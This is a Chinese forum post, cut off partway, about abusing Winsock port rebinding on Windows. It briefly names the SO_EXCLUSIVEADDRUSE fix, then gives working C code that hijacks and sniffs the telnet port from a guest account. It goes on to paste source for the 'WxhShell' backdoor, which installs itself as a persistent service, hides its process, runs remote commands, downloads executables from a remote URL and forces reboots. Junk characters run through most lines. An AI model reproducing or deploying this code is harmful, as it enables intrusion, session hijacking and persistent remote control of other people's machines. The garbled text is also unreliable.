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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a Vu!Qk=Z/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HF0G=U}i  
l_}d Q&R  
  saddr.sin_family = AF_INET; n5=U.r  
a U\|ZCH\]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @dv8 F "v  
_Z(t**Zh6y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F ,472H  
7_\F$bp`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |'z8>1  
estiS  
  这意味着什么?意味着可以进行如下的攻击: MS\vrq'_  
"`ftcJUd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >[Vc$[62  
qm$(_]R~`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #DgHF*GG+>  
%_W4\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0Ncpi=6  
$~1vXe  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9 " q-Bb  
'?Dxe B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ai-s9r'MI?  
_;03R{e*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $Wj= V  
T^7Cv{[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?)1Y|W'Rv  
ZjmQ  
  #include w*6b%h%ww  
  #include r>fGj\#R =  
  #include &1Ndi<Y^  
  #include    ]i#p2?BR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0FOB5eBR  
  int main() tq59w  
  { ;+wB!/k,  
  WORD wVersionRequested; g$s;;V/8e  
  DWORD ret; E@ :9|5  
  WSADATA wsaData; dO8 2T3T  
  BOOL val; 7Jlkn=9e:  
  SOCKADDR_IN saddr; 2'@m'4-N  
  SOCKADDR_IN scaddr; w&?XsO@0W  
  int err; .j:,WF<"l5  
  SOCKET s; ~`AB-0t.u  
  SOCKET sc; 2Xl+}M.:Y  
  int caddsize; [1vm~w'  
  HANDLE mt; wGti |7Tu*  
  DWORD tid;   [8 Pt$5]^  
  wVersionRequested = MAKEWORD( 2, 2 ); Bg]VaTm[=  
  err = WSAStartup( wVersionRequested, &wsaData ); x1eC r_  
  if ( err != 0 ) { }i!+d,|f  
  printf("error!WSAStartup failed!\n");  tA#$q;S  
  return -1; RU ~na/3  
  } K+`GVmD  
  saddr.sin_family = AF_INET; 6X@z(EEL  
   `a& L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tLOGj?/r  
FFqK tj's  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *5PQ>d G  
  saddr.sin_port = htons(23); uU 7 <8G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^i8,9T'=  
  { h*VDd3[#  
  printf("error!socket failed!\n"); j~N*TXkC  
  return -1; H=BI%Z  
  } 9:{<:1?  
  val = TRUE; I#MPJ@*WT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fo,0NxF9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z[f]mU  
  { *W8n8qG%T  
  printf("error!setsockopt failed!\n"); QDn_`c  
  return -1; r4mh:T4i  
  } $jMA(e`Ye0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~ =u8H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4;L|Ua  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?r !kKMZ  
sa+ JN^[X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g!~SHW)l  
  { - jZAvb  
  ret=GetLastError(); =Q 9^|&6  
  printf("error!bind failed!\n"); lW c[Q1  
  return -1; nDvfb* \  
  } |X=p`iz1&  
  listen(s,2); rpiuFst  
  while(1) c \??kQH  
  { yc*cT%?g  
  caddsize = sizeof(scaddr); 'aEK{#en  
  //接受连接请求 TIJH} Ri  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1e[?}q]*  
  if(sc!=INVALID_SOCKET) t#.}0Te7  
  { iOZ9A~Ywy  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dLYM )-H`>  
  if(mt==NULL) ^Z)7Z% O  
  { W$jRS  
  printf("Thread Creat Failed!\n"); )"\= _E#  
  break; ~a_hOKU5  
  } 1T#-1n%[k(  
  } bR7tmJ[)Z  
  CloseHandle(mt); cgG*7E  
  } JAHg_!  
  closesocket(s); U1:m=!S;x  
  WSACleanup(); Yuv=<V  
  return 0; _zDS-e@  
  }   Y A,. C4=s  
  DWORD WINAPI ClientThread(LPVOID lpParam) jP<6J(  
  { 8d*S9p,/  
  SOCKET ss = (SOCKET)lpParam; rCa]T@=  
  SOCKET sc; Oey Ph9^V  
  unsigned char buf[4096]; P1OYS\  
  SOCKADDR_IN saddr; drAJ-ii  
  long num; :WWHEZK  
  DWORD val; h.?<( I  
  DWORD ret; ky|kg@n{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B-LV/WJ_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   QyA^9@iVs  
  saddr.sin_family = AF_INET; Y"t|0dO%b  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .*N,x(V  
  saddr.sin_port = htons(23); OD}Uc+;K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f=91 Z_M  
  { ,$!fyi[;C  
  printf("error!socket failed!\n"); =A5i84y.2u  
  return -1; gA=Pz[i)p  
  } $z OV*O2  
  val = 100; N=u( 3So  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qf K gNZ  
  { 7J3A]>qU  
  ret = GetLastError(); kmBA  
  return -1; _L)LyQD]T  
  } Gd C=>\]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <!t;[ie?y  
  { Gu{1%bb#kL  
  ret = GetLastError(); fUvXb>f,  
  return -1; kDJYEI9j>  
  } S'RRe84 C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Pjq9BK9p  
  { *As"U99(  
  printf("error!socket connect failed!\n"); J,v024TM  
  closesocket(sc); b6;MTz*k>  
  closesocket(ss); ~Q"qz<WO  
  return -1; ?4%#myO3a  
  } X7*ossv  
  while(1) L"0dB.  
  { J_+2]X7n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;ZJ. 7t'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %l%ad-V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ih("`//nP  
  num = recv(ss,buf,4096,0); Eva&FHRTY  
  if(num>0) %d:cC:`  
  send(sc,buf,num,0); x%)oL:ue  
  else if(num==0) vZQraY nJ  
  break; R,.qQF\*  
  num = recv(sc,buf,4096,0); yuq o ^i  
  if(num>0) !*DY dqQ/  
  send(ss,buf,num,0); M.SF}U  
  else if(num==0) 0XljFQ  
  break; y+^KVEw  
  } %a8e_  
  closesocket(ss); SIM> Lz  
  closesocket(sc); &9gI?b8  
  return 0 ; KY2z)#/  
  } kb$Yc)+R4  
<bJ|WS|  
"WY5Pzsi:  
========================================================== A~{vja0?  
Z[ !kEW  
下边附上一个代码,,WXhSHELL bOYM-\ {y  
n2o)K;wW+  
========================================================== NHU5JSlB  
y:zNf?6&  
#include "stdafx.h" B!x6N"  
BQ,749^S  
#include <stdio.h>  f^}n#  
#include <string.h> 4<<eqxI$|  
#include <windows.h> Wf?[GO  
#include <winsock2.h> ?W dY{;&  
#include <winsvc.h> KWYjN h#*  
#include <urlmon.h> 7<:o4\q?m  
|U'`Sc  
#pragma comment (lib, "Ws2_32.lib") xA;)02   
#pragma comment (lib, "urlmon.lib") wk?i\vm  
6e|uA7i4  
#define MAX_USER   100 // 最大客户端连接数 D1ik*mDA=  
#define BUF_SOCK   200 // sock buffer e~he#o[%a  
#define KEY_BUFF   255 // 输入 buffer >C{8}Lg-.  
6*1f -IbV  
#define REBOOT     0   // 重启 $? Z}hU  
#define SHUTDOWN   1   // 关机 $<VH~Q<  
_`*G71PS  
#define DEF_PORT   5000 // 监听端口 //3fgoly  
> B;YYj~f}  
#define REG_LEN     16   // 注册表键长度 lwG)&qyVd  
#define SVC_LEN     80   // NT服务名长度 rw 2i_,.*~  
B}zBbB  
// 从dll定义API ;*Mr(#R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !gsrPM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^!O!HMX0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u!HbS*jqq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ke[`zui@?  
h0x'QiCc  
// wxhshell配置信息 Jz0AYiCq  
struct WSCFG { _/ 5  
  int ws_port;         // 监听端口 vEE\{1  
  char ws_passstr[REG_LEN]; // 口令 Vv`94aQTD  
  int ws_autoins;       // 安装标记, 1=yes 0=no r0OP !u  
  char ws_regname[REG_LEN]; // 注册表键名 .f[z_% ar  
  char ws_svcname[REG_LEN]; // 服务名 Gf!c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2#qc YU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CCC9I8rZD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #l*w=D?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >`yRL[c;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [k%u$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $E8}||d  
SEWdhthP  
}; k:mW ,s|a  
b'4}=Xpn  
// default Wxhshell configuration tr A ^JY  
struct WSCFG wscfg={DEF_PORT, zII^Ny8D  
    "xuhuanlingzhe", rNm_w>bq  
    1, ;S&anC#E  
    "Wxhshell", 2H] 7=j  
    "Wxhshell", I !lR 7%  
            "WxhShell Service", M`9|8f,!a  
    "Wrsky Windows CmdShell Service", |<8Fa%!HHc  
    "Please Input Your Password: ", ym` 4v5w  
  1, M4 }))  
  "http://www.wrsky.com/wxhshell.exe", 1'\s7P  
  "Wxhshell.exe" -) +B!"1  
    }; }t|i1{%_  
g^#,!e  
// 消息定义模块 J_<6;#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xMpgXB!'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4qd( a)NdY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l%u8Lq  
char *msg_ws_ext="\n\rExit."; UsCaO<A  
char *msg_ws_end="\n\rQuit."; 150x$~{/  
char *msg_ws_boot="\n\rReboot..."; {XC[Ia6jtL  
char *msg_ws_poff="\n\rShutdown..."; @bAu R  
char *msg_ws_down="\n\rSave to "; K|D1  
^@Qc!(P  
char *msg_ws_err="\n\rErr!"; XQOM6$~,  
char *msg_ws_ok="\n\rOK!"; }:s.m8LC5n  
Xe\v6gbD  
char ExeFile[MAX_PATH]; $&jVEMia  
int nUser = 0; <|E*aR|M  
HANDLE handles[MAX_USER]; k O.iJcZg  
int OsIsNt; f"4w@X2F  
#g2&x sU  
SERVICE_STATUS       serviceStatus; XrXW6s ;Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "d0D8B7HI@  
|WT]s B0Eq  
// 函数声明 & \C1QkI  
int Install(void); tu ;Pm4q7  
int Uninstall(void); h >Z`&  
int DownloadFile(char *sURL, SOCKET wsh); _0ZBG(  
int Boot(int flag); (7$BF~s:,  
void HideProc(void); 9@nd>B  
int GetOsVer(void); *vqUOh  
int Wxhshell(SOCKET wsl); [{>1wJ Pdj  
void TalkWithClient(void *cs); g^jTdrW/s  
int CmdShell(SOCKET sock); X<v1ES$  
int StartFromService(void); _1YC9}  
int StartWxhshell(LPSTR lpCmdLine); =?\%E[j  
^oE#;aS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u2[L^]|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?O]RQXsZ2  
X]W(  
// 数据结构和表定义 5Z:qU{[  
SERVICE_TABLE_ENTRY DispatchTable[] = (bB"6 #TI  
{ e)XnS'  
{wscfg.ws_svcname, NTServiceMain}, iG=Di)O  
{NULL, NULL} }{&;\^i  
}; CHCT e  
Q/h-Kh mz  
// 自我安装 U+[ "b-c  
int Install(void) m !i`|]m  
{ 6 =G=4{q  
  char svExeFile[MAX_PATH]; 0x^lHBYc  
  HKEY key; 5x,/p  
  strcpy(svExeFile,ExeFile); e:rbyzf#  
]8'PLsS9<w  
// 如果是win9x系统,修改注册表设为自启动 L7.SH#m  
if(!OsIsNt) { `9T5Dem|#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ['K}p24,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /cvMp#<]  
  RegCloseKey(key); V:+z3)qF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 80o'=E}"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rP!GS _RG  
  RegCloseKey(key);  5IF$M2j  
  return 0; "-rqL  
    } H_aG\  
  } .t&G^i'n  
} G9GLRdP  
else { ekmWYQ ~  
@Q;s[Kg{!  
// 如果是NT以上系统,安装为系统服务 sN#ju5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O,NVhU7,  
if (schSCManager!=0) >Ml5QO$*.q  
{ OF-VVIS  
  SC_HANDLE schService = CreateService {:Kr't<XzF  
  ( ?|\wJrM ]  
  schSCManager, q)AX*T+  
  wscfg.ws_svcname, 0y+i?y 9  
  wscfg.ws_svcdisp, A<(DYd1H  
  SERVICE_ALL_ACCESS, Ea-U+7JC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Qam48XZ >  
  SERVICE_AUTO_START, _8\B~;0  
  SERVICE_ERROR_NORMAL, +!$`0v   
  svExeFile, roBb8M|q  
  NULL, ~_g{P3  
  NULL, hMV>5Y[s  
  NULL, OkCAvRg  
  NULL, | :id/  
  NULL x]3[0K5;  
  ); ]I zD`  
  if (schService!=0) K%Bz6 ~  
  { e,W,NnCICj  
  CloseServiceHandle(schService); "7j E&I  
  CloseServiceHandle(schSCManager); p(Osz7K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :AI%{EV-L  
  strcat(svExeFile,wscfg.ws_svcname); :)&vf<JL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $TK= :8HY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ooC9a>X  
  RegCloseKey(key); A(cR/$fn6  
  return 0; JZ&_1~Z=  
    } aeAx0yE[p  
  } )8SWU)/  
  CloseServiceHandle(schSCManager); <$WS~tTz  
} t`>Z#=cl\  
} y O*   
:fq4oHA#  
return 1; xH}bX-m  
} 25@@-2h @  
-~X[j2  
// 自我卸载 =);@<Jp  
int Uninstall(void) j['B9vG  
{ _aJKt3GQ  
  HKEY key; ~l*<LXp8  
x($Djx  
if(!OsIsNt) { *v?kp>O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0'YJczDq:7  
  RegDeleteValue(key,wscfg.ws_regname); 5}Xi`'g,  
  RegCloseKey(key); NSH4 @x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~-B+7  
  RegDeleteValue(key,wscfg.ws_regname); zgH*B*)bj  
  RegCloseKey(key); 4??LK/s*  
  return 0;  X>P|-n#  
  } ^5( d^N  
} {t!7r_hj  
} %/5Wj_|p  
else { NK(_ &.F  
M CP GDr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2% OAQ(  
if (schSCManager!=0) "Wr[DqFd  
{ 2i1xSKRYrD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &ODo7@v`1  
  if (schService!=0) bSz7?NAp  
  { `u PLyS.  
  if(DeleteService(schService)!=0) { 6]kBG?m0  
  CloseServiceHandle(schService); =9,^Tu|  
  CloseServiceHandle(schSCManager); FouN}X6  
  return 0; HXztEEK6  
  } bS954d/  
  CloseServiceHandle(schService); %\n|2*r  
  } E-FR w  
  CloseServiceHandle(schSCManager); a7453s  
} `(=Kp=b  
} 7mMMVz2  
r\Kcg~D>  
return 1; =6"5kz10  
} {<Gp5j  
X J)Y-7c  
// 从指定url下载文件 o0|Ex\  
int DownloadFile(char *sURL, SOCKET wsh) pe\Nwq  
{ V/kndV[j  
  HRESULT hr; ={V@Y-5T  
char seps[]= "/"; Pnm$g; `P  
char *token; "k{so',7z  
char *file; TsGx2[  
char myURL[MAX_PATH]; |D%mWQng  
char myFILE[MAX_PATH]; K7K/P{@9[9  
o[i N/  
strcpy(myURL,sURL); 8&| o  
  token=strtok(myURL,seps); Ke?,AWfG  
  while(token!=NULL) w^$C\bCbh  
  { j%^4 1y  
    file=token; #8yo9g6  
  token=strtok(NULL,seps); Jp+'"a  
  } ]sk=V.GGQ  
-)VjjKz]8  
GetCurrentDirectory(MAX_PATH,myFILE); Lhe&  
strcat(myFILE, "\\"); {uoF5|O6K  
strcat(myFILE, file); s.Ai _D  
  send(wsh,myFILE,strlen(myFILE),0); x\8|A  
send(wsh,"...",3,0); 3}F>t{FDk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); El;"7Qn  
  if(hr==S_OK) <r$h =hM  
return 0; g=Vu'p 3u  
else $Th)z}A}EA  
return 1; (;%T]?<9#  
@z{SDM  
} Qz#By V:  
w K#*|  
// 系统电源模块 yb ?Pyq.D  
int Boot(int flag) ?4Rd4sIM$u  
{ V|$PO Qa3  
  HANDLE hToken; p?,<{mAe  
  TOKEN_PRIVILEGES tkp; "wTCO1  
Zis,%XY  
  if(OsIsNt) { ^jwzCo-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t'@mUX:-A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J ~3m7  
    tkp.PrivilegeCount = 1; }X^MB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VN!nef  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FpA t  
if(flag==REBOOT) { Ui`{U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j&'6|s{  
  return 0; H>+])~#  
} fe98 Y-e  
else { HbsNF~;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X )tH23  
  return 0; h72/03!  
} V3q`V/\  
  } aaT3-][  
  else { cK u[ 4D{  
if(flag==REBOOT) { k'#3fz\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iC=>wrqY>  
  return 0; #]tDxZ] 6  
} Hy&Z0W'l  
else { @:GqOTN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]Z8u0YtM)  
  return 0; 4^l9d  
} 4oiE@y&{4  
} `cXLa=B)9  
>RkaFcq  
return 1; 8X"4RyNSn  
} ":M]3.  
pF-_yyQ  
// win9x进程隐藏模块 sIg TSdk  
void HideProc(void) t:fz%IOe  
{ fJc(  
u@#%SX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aq}hlA(w  
  if ( hKernel != NULL ) uH%b rbrU  
  { PR:B6 F8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A+* lV*@0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Mh-"B([Z  
    FreeLibrary(hKernel); 8xgBNQdPT  
  } jc Mn   
o?>0WSLlm  
return; ]$r]GVeN}H  
} #xGP|:m  
j;]I -M[  
// 获取操作系统版本 6dr 'nP  
int GetOsVer(void) \EVT*v=}/  
{ x,25ROaHY  
  OSVERSIONINFO winfo; y 2> 93m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -6kX?sNl)X  
  GetVersionEx(&winfo); u0&R*YV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9d#?,:JG  
  return 1; >*ls} q^  
  else w+ !c9  
  return 0; 1Ys=KA-!_x  
} yV:8>9wE8  
(l{8Ix s  
// 客户端句柄模块 ;P)oKx  
int Wxhshell(SOCKET wsl) 8p%0d`sX  
{ Cy$~H  
  SOCKET wsh; [#uhMn^  
  struct sockaddr_in client; )H W   
  DWORD myID; 8fP2qj0  
^7aqe*|vm  
  while(nUser<MAX_USER) q& -mbWBj  
{ PljPhAce  
  int nSize=sizeof(client); HZRFE[ 9nb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L?N&kzA  
  if(wsh==INVALID_SOCKET) return 1; aj;x:UqpJ  
oLKliA=q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M^:JhX{  
if(handles[nUser]==0) !\R5/-_UU  
  closesocket(wsh); r4SwvxhG  
else N)g_LL>^  
  nUser++; $J4\jIipL  
  } ~ O\A 0e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VtLRl0/  
@rbd`7$%  
  return 0; azv173XZ  
} ^t4^gcoZ4Z  
Q/]~`S  
// 关闭 socket cmXbkM  
void CloseIt(SOCKET wsh) piM4grg \  
{ $TXiWW+  
closesocket(wsh); |hika`35K  
nUser--; l}L81t7f  
ExitThread(0); aH1CX<3)~  
} z)C/U  
i&>^"_4rc  
// 客户端请求句柄 }jCO@v;  
void TalkWithClient(void *cs) i;^lh]u  
{ +=E\sEe  
\KhcNr?ja=  
  SOCKET wsh=(SOCKET)cs; (_e[CqFu  
  char pwd[SVC_LEN]; vlkw Wm  
  char cmd[KEY_BUFF]; n<8WjrK  
char chr[1]; =|E "  
int i,j; &wK:R,~x6  
{UP[iw$~  
  while (nUser < MAX_USER) { r 1r@TG\  
cgrSd99.  
if(wscfg.ws_passstr) { hE(R[hc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g}<jn'@{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C`;igg$t_  
  //ZeroMemory(pwd,KEY_BUFF); 0 (-4"u>?  
      i=0; B N79\rt  
  while(i<SVC_LEN) { t~o"x.  
GO"|^W  
  // 设置超时 VNWB$mM.2  
  fd_set FdRead; ~ q-Z-MA  
  struct timeval TimeOut; C7{VByxJ  
  FD_ZERO(&FdRead); SDC|>e9i  
  FD_SET(wsh,&FdRead); t7-]OY7%w_  
  TimeOut.tv_sec=8; jI\@<6O  
  TimeOut.tv_usec=0; _ZhQY,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5]Rbzg2t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8S8qj"s  
gvT}UNqL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f9u=h}  
  pwd=chr[0]; *zPqXtw!j  
  if(chr[0]==0xd || chr[0]==0xa) { T)I)r239h  
  pwd=0; gf8o~vKX$G  
  break; %evb.h)  
  } aNu.4c/5  
  i++; I^k&v V  
    } @)h>vg  
Yg.[R] UC  
  // 如果是非法用户,关闭 socket HZ'rM5Kq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F@Sk=l(  
} z<55[~3  
2@tnOs(*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9k;,WU(K<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0C :8X   
=|i_T%a  
while(1) { %htI!b+"@  
3*</vo#`  
  ZeroMemory(cmd,KEY_BUFF); C+**!uYIB  
_" 9 q(1  
      // 自动支持客户端 telnet标准   Ps@']]4>W  
  j=0; L@H^?1*L?  
  while(j<KEY_BUFF) { o.!o4&W H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bSw^a{~)  
  cmd[j]=chr[0]; ;EJ!I+�  
  if(chr[0]==0xa || chr[0]==0xd) { L /ibnGhq]  
  cmd[j]=0; [>v1JN  
  break; Cqnuf5e>L  
  } rn)Gx2 5  
  j++; VrRF2(Kn?  
    } zF`a:dD$d  
n{TWdC  
  // 下载文件 o~XK*f=(  
  if(strstr(cmd,"http://")) { A*DN/lG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); , ]1f)>  
  if(DownloadFile(cmd,wsh)) .*` ^dt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I4@XOwl{P  
  else `$> Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E:8*o7  
  } _33 b %  
  else { 0~U%csPHt  
RWR{jM]V  
    switch(cmd[0]) { nRBS&&V  
  >G|RVB  
  // 帮助 a^l)vh{+  
  case '?': { rEWJ3*Hb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H[.)&7M\  
    break; b, a7XANsh  
  } 129\H< m  
  // 安装 }=EJM7sM|k  
  case 'i': { `\VtTS  
    if(Install()) d\>XfS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -& (iU#W  
    else sf2%WPK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e;XRH<LhAU  
    break; m OUO)[6y  
    } WOj}+?/3 R  
  // 卸载 } +Sp7F1q  
  case 'r': { "mBM<rEn*  
    if(Uninstall()) "T=j\/Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FUL3@Gb$UV  
    else |1_$\k9Y&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q<3La(^/  
    break; *l`yxz@U  
    } |*t2IVwX  
  // 显示 wxhshell 所在路径 !Np7mv\7  
  case 'p': { WS[Z[O  
    char svExeFile[MAX_PATH]; RI8*'~ix]  
    strcpy(svExeFile,"\n\r"); VLm\PS   
      strcat(svExeFile,ExeFile); yJ!26  
        send(wsh,svExeFile,strlen(svExeFile),0); &UH0Tw4   
    break; 'sI ne>  
    } 8WV5'cX  
  // 重启 2?7ID~\  
  case 'b': { GAY?F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9BZ B1o X  
    if(Boot(REBOOT)) X[.%[G|oj}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a k5D  
    else { =aB+|E  
    closesocket(wsh); p+~Imf-Jk  
    ExitThread(0); ,Gv}N&  
    } nZi&`HjQ  
    break; aR3jeB,=x  
    } AsE77AUA  
  // 关机 r1 :TM|5L  
  case 'd': { wA$?e}  
